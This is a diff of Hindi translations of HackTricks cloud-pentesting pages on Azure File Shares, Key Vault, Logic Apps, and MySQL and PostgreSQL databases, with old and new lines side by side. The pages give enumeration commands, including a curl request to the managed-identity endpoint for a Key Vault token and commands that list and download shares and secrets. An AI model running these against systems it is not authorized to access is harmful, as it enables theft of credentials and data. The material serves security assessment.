* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
</details> </details>
@@ -16,10 +16,10 @@
### Backups ### Backups
- **Daily backup**: प्रत्येक दिन एक बैकअप बिंदु एक निर्दिष्ट समय (जैसे 19.30 UTC) पर बनाया जाता है और 1 से 200 दिनों के लिए संग्रहीत किया जाता है। - **Daily backup**: प्रत्येक दिन एक बैकअप बिंदु एक निर्दिष्ट समय (जैसे 19.30 UTC) पर बनाया जाता है और 1 से 200 दिनों के लिए संग्रहीत किया जाता है।
- **Weekly backup**: प्रत्येक सप्ताह एक बैकअप बिंदु एक निर्दिष्ट दिन और समय (रविवार को 19.30) पर बनाया जाता है और 1 से 200 सप्ताहों के लिए संग्रहीत किया जाता है। - **Weekly backup**: प्रत्येक सप्ताह एक बैकअप बिंदु एक निर्दिष्ट दिन और समय (रविवार को 19.30) पर बनाया जाता है और 1 से 200 सप्ताह के लिए संग्रहीत किया जाता है।
- **Monthly backup**: प्रत्येक महीने एक बैकअप बिंदु एक निर्दिष्ट दिन और समय (जैसे पहले रविवार को 19.30) पर बनाया जाता है और 1 से 120 महीनों के लिए संग्रहीत किया जाता है। - **Monthly backup**: प्रत्येक महीने एक बैकअप बिंदु एक निर्दिष्ट दिन और समय (जैसे पहले रविवार को 19.30) पर बनाया जाता है और 1 से 120 महीनों के लिए संग्रहीत किया जाता है।
- **Yearly backup**: प्रत्येक वर्ष एक बैकअप बिंदु एक निर्दिष्ट दिन और समय (जैसे जनवरी के पहले रविवार को 19.30) पर बनाया जाता है और 1 से 10 वर्षों के लिए संग्रहीत किया जाता है। - **Yearly backup**: प्रत्येक वर्ष एक बैकअप बिंदु एक निर्दिष्ट दिन और समय (जैसे जनवरी के पहले रविवार को 19.30) पर बनाया जाता है और 1 से 10 वर्षों के लिए संग्रहीत किया जाता है।
- **मैनुअल बैकअप और स्नैपशॉट किसी भी समय** करना भी संभव है। इस संदर्भ में बैकअप और स्नैपशॉट वास्तव में समान हैं। - **किसी भी समय** **मैनुअल बैकअप और स्नैपशॉट** करना भी संभव है। इस संदर्भ में बैकअप और स्नैपशॉट वास्तव में समान हैं।
### Supported Authentications via SMB ### Supported Authentications via SMB
@@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name <name> --source <share-name>
{{#endtab}} {{#endtab}}
{{#tab name="Az PowerShell"}} {{#tab name="Az PowerShell"}}
```powershell ```bash
Get-AzStorageAccount Get-AzStorageAccount
# List File Shares # List File Shares
@@ -88,13 +88,13 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
### कनेक्शन ### कनेक्शन
ये स्क्रिप्ट्स हैं जो Azure ने लेखन के समय फ़ाइल साझा करने के लिए प्रस्तावित की थीं: ये स्क्रिप्ट्स हैं जो Azure ने लेखन के समय एक फ़ाइल शेयर से कनेक्ट करने के लिए प्रस्तावित की थीं:
आपको `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` और `<FILE-SHARE-NAME>` प्लेसहोल्डर्स को बदलना होगा। आपको `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` और `<FILE-SHARE-NAME>` प्लेसहोल्डर्स को बदलना होगा।
{{#tabs}} {{#tabs}}
{{#tab name="Windows"}} {{#tab name="Windows"}}
```powershell ```bash
$connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445
if ($connectTestResult.TcpTestSucceeded) { if ($connectTestResult.TcpTestSucceeded) {
# Save the password so the drive will persist on reboot # Save the password so the drive will persist on reboot
@@ -131,7 +131,7 @@ open smb://<STORAGE-ACCOUNT>:<ACCESS-KEY>@<STORAGE-ACCOUNT>.file.core.windows.ne
{{#endtab}} {{#endtab}}
{{#endtabs}} {{#endtabs}}
### नियमित भंडारण सूचीकरण (एक्सेस कुंजी, SAS...) ### नियमित स्टोरेज एन्यूमरेशन (एक्सेस की, SAS...)
{{#ref}} {{#ref}}
az-storage.md az-storage.md
@@ -139,13 +139,13 @@ az-storage.md
## विशेषाधिकार वृद्धि ## विशेषाधिकार वृद्धि
भंडारण प्रिवेस्क के समान: स्टोरेज प्रिवेस्क के समान:
{{#ref}} {{#ref}}
../az-privilege-escalation/az-storage-privesc.md ../az-privilege-escalation/az-storage-privesc.md
{{#endref}} {{#endref}}
## पोस्ट एक्सप्लइटेशन ## पोस्ट एक्सप्लइटेशन
{{#ref}} {{#ref}}
../az-post-exploitation/az-file-share-post-exploitation.md ../az-post-exploitation/az-file-share-post-exploitation.md
@@ -153,7 +153,7 @@ az-storage.md
## स्थिरता ## स्थिरता
भंडारण स्थिरता के समान: स्टोरेज स्थिरता के समान:
{{#ref}} {{#ref}}
../az-persistence/az-storage-persistence.md ../az-persistence/az-storage-persistence.md
@@ -12,7 +12,7 @@
**URL प्रारूप** के लिए **vaults** है `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` और प्रबंधित HSM पूल के लिए यह है: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}` **URL प्रारूप** के लिए **vaults** है `https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}` और प्रबंधित HSM पूल के लिए यह है: `https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`
जहा: जहा:
- `vault-name` कुंजी भंडार का वैश्विक **अद्वितीय** नाम है - `vault-name` कुंजी भंडार का वैश्विक **अद्वितीय** नाम है
- `object-type` "keys", "secrets" या "certificates" हो सकता है - `object-type` "keys", "secrets" या "certificates" हो सकता है
@@ -30,11 +30,11 @@
Key Vault संसाधन तक पहुंच दो स्तरों द्वारा नियंत्रित होती है: Key Vault संसाधन तक पहुंच दो स्तरों द्वारा नियंत्रित होती है:
- **प्रबंधन स्तर**, जिसका लक्ष्य [management.azure.com](http://management.azure.com/) है। - **प्रबंधन स्तर**, जिसका लक्ष्य [management.azure.com](http://management.azure.com/) है।
- इसका उपयोग कुंजी भंडार और **पहुंच नीतियों** प्रबंध करने के लिए किया जाता है। केवल Azure भूमिका आधारित पहुंच नियंत्रण (**RBAC**) का समर्थन किया जाता है। - इसका उपयोग कुंजी भंडार और **पहुंच नीतियों** प्रबंधित करने के लिए किया जाता है। केवल Azure भूमिका आधारित पहुंच नियंत्रण (**RBAC**) का समर्थन किया जाता है।
- **डेटा स्तर**, जिसका लक्ष्य **`<vault-name>.vault.azure.com`** है। - **डेटा स्तर**, जिसका लक्ष्य **`<vault-name>.vault.azure.com`** है।
- इसका उपयोग कुंजी भंडार में **डेटा** (कुंजी, गुप्त और प्रमाणपत्र) क प्रबंध और पहुंच करने के लिए किया जाता है। यह **कुंजी भंडार पहुंच नीतियों** या Azure **RBAC** का समर्थन करता है। - इसका उपयोग कुंजी भंडार में **डेटा** (कुंजी, गुप्त और प्रमाणपत्र) क प्रबंधित और एक्सेस करने के लिए किया जाता है। यह **कुंजी भंडार पहुंच नीतियों** या Azure **RBAC** का समर्थन करता है।
एक भूमिका जैसे **Contributor** जिसे प्रबंधन स्थान में पहुंच नीतियों क प्रबंध करने के लिए अनुमतिया हैं, वह पहुंच नीतियों को संशोधित करके गुप्तों तक पहुंच प्राप्त कर सकता है। एक भूमिका जैसे **Contributor** जिसे प्रबंधन स्थान में पहुंच नीतियों क प्रबंधित करने के लिए अनुमतिया हैं, वह पहुंच नीतियों को संशोधित करके गुप्तों तक पहुंच प्राप्त कर सकता है।
### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a> ### Key Vault RBAC Built-In Roles <a href="#rbac-built-in-roles" id="rbac-built-in-roles"></a>
@@ -92,7 +92,7 @@ az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<Key
{{#endtab }} {{#endtab }}
{{#tab name="Az Powershell" }} {{#tab name="Az Powershell" }}
```powershell ```bash
# Get keyvault token # Get keyvault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
@@ -167,7 +167,7 @@ done
../az-privilege-escalation/az-key-vault-privesc.md ../az-privilege-escalation/az-key-vault-privesc.md
{{#endref}} {{#endref}}
## पोस्ट एक्सप्लइटेशन ## पोस्ट एक्सप्लइटेशन
{{#ref}} {{#ref}}
../az-post-exploitation/az-key-vault-post-exploitation.md ../az-post-exploitation/az-key-vault-post-exploitation.md
@@ -4,18 +4,18 @@
## Basic Information ## Basic Information
Azure Logic Apps एक क्लाउड-आधारित सेवा है जो Microsoft Azure द्वारा प्रदान की जाती है जो डेवलपर्स को **विभिन्न सेवाओं**, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने में सक्षम बनाती है। ये वर्कफ़्लो **व्यापार प्रक्रियाओं को स्वचालित करने**, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं। Azure Logic Apps एक क्लाउड-आधारित सेवा है जो Microsoft Azure द्वारा प्रदान की जाती है जो डेवलपर्स को **विभिन्न सेवाओं**, डेटा स्रोतों और अनुप्रयोगों को एकीकृत करने वाले वर्कफ़्लो बनाने और चलाने में सक्षम बनाती है। ये वर्कफ़्लो **व्यापार प्रक्रियाओं को स्वचालित** करने, कार्यों का समन्वय करने और विभिन्न प्लेटफार्मों के बीच डेटा एकीकरण करने के लिए डिज़ाइन किए गए हैं।
Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं। Logic Apps एक दृश्य डिज़ाइनर प्रदान करता है जिससे **पूर्व-निर्मित कनेक्टर्स की विस्तृत श्रृंखला** के साथ वर्कफ़्लो बनाना आसान हो जाता है, जिससे Office 365, Dynamics CRM, Salesforce और कई अन्य सेवाओं के साथ कनेक्ट और इंटरैक्ट करना संभव होता है। आप अपनी विशिष्ट आवश्यकताओं के लिए कस्टम कनेक्टर्स भी बना सकते हैं।
### Examples ### Examples
- **Automating Data Pipelines**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो एनालिटिक्स और व्यवसाय बुद्धिमत्ता संचालन में मदद करता है। - **डेटा पाइपलाइनों का स्वचालन**: Logic Apps **डेटा ट्रांसफर और रूपांतरण प्रक्रियाओं** को Azure Data Factory के साथ मिलकर स्वचालित कर सकता है। यह विभिन्न डेटा स्टोर्स, जैसे Azure SQL Database और Azure Blob Storage के बीच डेटा को स्थानांतरित और रूपांतरित करने के लिए स्केलेबल और विश्वसनीय डेटा पाइपलाइनों को बनाने में सहायक है, जो एनालिटिक्स और व्यवसाय बुद्धिमत्ता संचालन में मदद करता है।
- **Integrating with Azure Functions**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित करने** के लिए काम कर सकता है जो आवश्यकतानुसार स्केल करते हैं और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग करके Azure Function को कुछ घटनाओं के जवाब में ट्रिगर किया जा, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है। - **Azure Functions के साथ एकीकरण**: Logic Apps Azure Functions के साथ मिलकर **जटिल, इवेंट-चालित अनुप्रयोगों को विकसित कर सकता है जो आवश्यकतानुसार स्केल करते हैं** और अन्य Azure सेवाओं के साथ सहजता से एकीकृत होते हैं। एक उदाहरण उपयोग मामला यह है कि एक Logic App का उपयोग कुछ घटनाओं के जवाब में Azure Function को ट्रिगर करने के लिए किया जाता है, जैसे Azure Storage खाते में परिवर्तन, जो गतिशील डेटा प्रोसेसिंग की अनुमति देता है।
### Visualize a LogicAPP ### Visualize a LogicAPP
एक LogicApp को ग्राफिक्स के साथ देखना संभव है: यह ग्राफिक्स के साथ एक LogicApp को देखने के लिए संभव है:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
@@ -23,7 +23,7 @@ Logic Apps एक दृश्य डिज़ाइनर प्रदान
### SSRF Protection ### SSRF Protection
भले ही आप **Logic App को SSRF के लिए संवेदनशील पाएँ**, आप मेटाडेटा से क्रेडेंशियल्स तक पहुँच नहीं पाएँगे क्योंकि Logic Apps इसकी अनुमति नहीं देता। भले ही आप **Logic App को SSRF के लिए संवेदनशील** पाएँ, आप मेटाडेटा से क्रेडेंशियल्स तक पहुँच नहीं पाएँगे क्योंकि Logic Apps इसकी अनुमति नहीं देता।
उदाहरण के लिए, ऐसा कुछ टोकन नहीं लौटाएगा: उदाहरण के लिए, ऐसा कुछ टोकन नहीं लौटाएगा:
```bash ```bash
@@ -47,7 +47,7 @@ az logic workflow identity show --name <LogicAppName> --resource-group <Resource
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerSHell" }} {{#tab name="Az PowerSHell" }}
```powershell ```bash
# List # List
Get-AzLogicApp -ResourceGroupName <ResourceGroupName> Get-AzLogicApp -ResourceGroupName <ResourceGroupName>
# Get info # Get info
@@ -1,40 +1,40 @@
# Az - MySQL Databases # Az - MySQL Databases
{% hint style="success" %} {% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks का समर्थन करें</summary> <summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) की जांच करें! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** का पालन करें।** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
## Azure MySQL ## Azure MySQL
Azure Database for MySQL एक पूरी तरह से प्रबंधित रिलेशनल डेटाबेस सेवा है जो MySQL Community Edition पर आधारित है, जिसे विभिन्न एप्लिकेशन आवश्यकताओं के लिए स्केलेबिलिटी, सुरक्षा और लचीलापन प्रदान करने के लिए डिज़ाइन किया गया है। इसके दो अलग-अलग डिप्लॉयमेंट मॉडल हैं: Azure Database for MySQL एक पूरी तरह से प्रबंधित रिलेशनल डेटाबेस सेवा है जो MySQL Community Edition पर आधारित है, जिसे विभिन्न एप्लिकेशन आवश्यकताओं के लिए स्केलेबिलिटी, सुरक्षा और लचीलापन प्रदान करने के लिए डिज़ाइन किया गया है। इसके दो अलग-अलग तैनाती मॉडल हैं:
* **सिंगल सर्वर** (सेवानिवृत्ति के रास्ते पर है): * **Single Server** (सेवानिवृत्ति के रास्ते पर है):
- लागत-कुशल और प्रबंधित MySQL डिप्लॉयमेंट के लिए अनुकूलित। - लागत-कुशल और प्रबंधित MySQL तैनातियों के लिए अनुकूलित।
- सुविधाओं में स्वचालित बैकअप, उच्च उपलब्धता, और बुनियादी निगरानी शामिल हैं। - सुविधाओं में स्वचालित बैकअप, उच्च उपलब्धता, और बुनियादी निगरानी शामिल हैं।
- पूर्वानुमानित कार्यभार वाले एप्लिकेशनों के लिए आदर्श। - पूर्वानुमानित कार्यभार वाले अनुप्रयोगों के लिए आदर्श।
* **फ्लेक्सिबल सर्वर**: * **Flexible Server**:
- डेटाबेस प्रबंधन और कॉन्फ़िगरेशन पर अधिक नियंत्रण प्रदान करता है। - डेटाबेस प्रबंधन और कॉन्फ़िगरेशन पर अधिक नियंत्रण प्रदान करता है।
- उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-लचीला)। - उच्च उपलब्धता का समर्थन करता है (समान-क्षेत्र और क्षेत्र-लचीला)।
- सुविधाओं में लचीला स्केलिंग, पैच प्रबंधन, और कार्यभार अनुकूलन शामिल हैं। - सुविधाओं में लचीला स्केलिंग, पैच प्रबंधन, और कार्यभार अनुकूलन शामिल हैं।
- लागत बचत के लिए स्टॉप/स्टार्ट कार्यक्षमता प्रदान करता है। - लागत बचत के लिए स्टॉप/स्टार्ट कार्यक्षमता प्रदान करता है।
### मुख्य विशेषताएँ ### Key Features
* **सर्वर प्रबंधन**: **ad-admin** सुविधा Azure Active Directory (AAD) प्रशासकों को MySQL सर्वरों के लिए प्रबंधित करने की अनुमति देती है, जो AAD क्रेडेंशियल्स के माध्यम से प्रशासनिक पहुंच पर नियंत्रण प्रदान करती है, जबकि **identity** सुविधा Azure Managed Identities के असाइनमेंट और प्रबंधन की अनुमति देती है, जो Azure संसाधनों तक पहुँचने के लिए सुरक्षित, क्रेडेंशियल-मुक्त प्रमाणीकरण प्रदान करती है। * **Server Management**: **ad-admin** सुविधा Azure Active Directory (AAD) प्रशासकों को MySQL सर्वरों के लिए प्रबंधित करने की अनुमति देती है, AAD क्रेडेंशियल्स के माध्यम से प्रशासनिक पहुंच पर नियंत्रण प्रदान करती है, जबकि **identity** सुविधा Azure Managed Identities के असाइनमेंट और प्रबंधन की अनुमति देती है, जो Azure संसाधनों तक पहुँचने के लिए सुरक्षित, क्रेडेंशियल-मुक्त प्रमाणीकरण प्रदान करती है।
* **लाइफसाइकिल प्रबंधन**: एक सर्वर को शुरू या बंद करने, एक फ्लेक्सिबल सर्वर इंस्टेंस को हटाने, कॉन्फ़िगरेशन परिवर्तनों को जल्दी लागू करने के लिए एक सर्वर को पुनरारंभ करने, और स्वचालन स्क्रिप्ट के साथ आगे बढ़ने से पहले यह सुनिश्चित करने के लिए इंतजार करने के विकल्प। * **Lifecycle Management**: एक सर्वर को शुरू या बंद करने, एक लचीले सर्वर उदाहरण को हटाने, कॉन्फ़िगरेशन परिवर्तनों को जल्दी लागू करने के लिए एक सर्वर को पुनरारंभ करने, और स्वचालन स्क्रिप्ट के साथ आगे बढ़ने से पहले यह सुनिश्चित करने के लिए इंतजार करने के विकल्प।
* **सुरक्षा और नेटवर्किंग**: सुरक्षित डेटाबेस एक्सेस के लिए सर्वर फ़ायरवॉल नियमों का प्रबंधन कर सकत है और आवश्यकतानुसार वर्चुअल नेटवर्क कॉन्फ़िगरेशन को अलग कर सकत है * **Security and Networking**: सुरक्षित डेटाबेस एक्सेस के लिए सर्वर फ़ायरवॉल नियमों का प्रबंधन कर सकत है और आवश्यकतानुसार वर्चुअल नेटवर्क कॉन्फ़िगरेशन को अलग कर सकत है।
* **डेटा सुरक्षा और बैकअप**: डेटा पुनर्प्राप्ति के लिए फ्लेक्सिबल सर्वर बैकअप का प्रबंधन करने, एक अलग क्षेत्र में सर्वर को पुनर्प्राप्त करने के लिए भू-बहाली करने, बाहरी उपयोग के लिए सर्वर बैकअप का निर्यात करने (पूर्वावलोकन में), और एक विशिष्ट समय पर बैकअप से सर्वर को पुनर्स्थापित करने के विकल्प शामिल हैं। * **Data Protection and Backup**: डेटा पुनर्प्राप्ति के लिए लचीले सर्वर बैकअप का प्रबंधन करने, एक अलग क्षेत्र में सर्वर को पुनर्प्राप्त करने के लिए भू-बहाली करने, बाहरी उपयोग के लिए सर्वर बैकअप का निर्यात करने (पूर्वावलोकन में), और एक विशिष्ट समय पर बैकअप से सर्वर को पुनर्स्थापित करने के विकल्प शामिल हैं।
### एन्यूमरेशन ### Enumeration
{% tabs %} {% tabs %}
{% tab title="az cli" %} {% tab title="az cli" %}
@@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group <resource-group-name>
{% tab title="Az PowerShell" %} {% tab title="Az PowerShell" %}
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```bash
Get-Command -Module Az.MySql Get-Command -Module Az.MySql
# Get all flexible servers in a resource group # Get all flexible servers in a resource group
@@ -131,14 +131,14 @@ az mysql flexible-server execute \
``` ```
{% endcode %} {% endcode %}
या MySQL नेचुरल एक्सटेंशन प्लगइन के साथ या MySQL मूल एक्सटेंशन प्लगइन के साथ
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p mysql -h <server-name>.mysql.database.azure.com -P 3306 -u <username> -p
``` ```
{% endcode %} {% endcode %}
आप GitHub के साथ क्वेरी भी चला सकते हैं लेकिन पासवर्ड और उपयोगकर्ता भी आवश्यक हैं। आपको चलाने के लिए क्वेरी के साथ एक SQL फ़ाइल सेटअप करनी होगी और फिर: आप गिटहब के साथ क्वेरी भी चला सकते हैं लेकिन पासवर्ड और उपयोगकर्ता भी आवश्यक हैं। आपको चलाने के लिए क्वेरी के साथ एक SQL फ़ाइल सेटअप करने की आवश्यकता है और फिर:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
# Setup # Setup
@@ -174,7 +174,7 @@ az mysql flexible-server deploy run \
## करने के लिए ## करने के लिए
* mysql flexible-server ad-admin के साथ पहुचने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक विशेषाधिकार वृद्धि विधि है * mysql flexible-server ad-admin के साथ पहुचने का एक तरीका देखें ताकि यह सत्यापित किया जा सके कि यह एक विशेषाधिकार वृद्धि विधि है
@@ -186,9 +186,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary> <summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
</details> </details>
{% endhint %} {% endhint %}
@@ -1,16 +1,16 @@
# Az - PostgreSQL Databases # Az - PostgreSQL Databases
{% hint style="success" %} {% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>HackTricks का समर्थन करें</summary> <summary>Support HackTricks</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें। * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
@@ -28,11 +28,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
- लचीला स्केलिंग, स्वचालित रखरखाव, और लागत-बचत कार्यक्षमता की विशेषताएँ। - लचीला स्केलिंग, स्वचालित रखरखाव, और लागत-बचत कार्यक्षमता की विशेषताएँ।
- लागत को अनुकूलित करने के लिए सर्वर को शुरू और बंद करने की अनुमति देता है। - लागत को अनुकूलित करने के लिए सर्वर को शुरू और बंद करने की अनुमति देता है।
### प्रमुख विशेषताएँ ### मुख्य विशेषताएँ
* **कस्टम रखरखाव विंडोज़**: व्यवधान को कम करने के लिए अपडेट शेड्यूल करें। * **कस्टम रखरखाव विंडोज़**: व्यवधान को कम करने के लिए अपडेट शेड्यूल करें।
* **सक्रिय निगरानी**: डेटाबेस प्रदर्शन को ट्रैक और सुधारने के लिए विस्तृत मैट्रिक्स और लॉग्स तक पहुँचें। * **सक्रिय निगरानी**: डेटाबेस प्रदर्शन को ट्रैक और सुधारने के लिए विस्तृत मैट्रिक्स और लॉग्स तक पहुँचें।
* **सर्वर को रोकें/शुरू करें**: उपयोगकर्ता सर्वर को रोक और शुरू कर सकते हैं। * **स्टॉप/स्टार्ट सर्वर**: उपयोगकर्ता सर्वर को रोक और शुरू कर सकते हैं।
* **स्वचालित बैकअप**: 35 दिनों तक कॉन्फ़िगर करने योग्य रिटेंशन अवधि के साथ अंतर्निहित दैनिक बैकअप। * **स्वचालित बैकअप**: 35 दिनों तक कॉन्फ़िगर करने योग्य रिटेंशन अवधि के साथ अंतर्निहित दैनिक बैकअप।
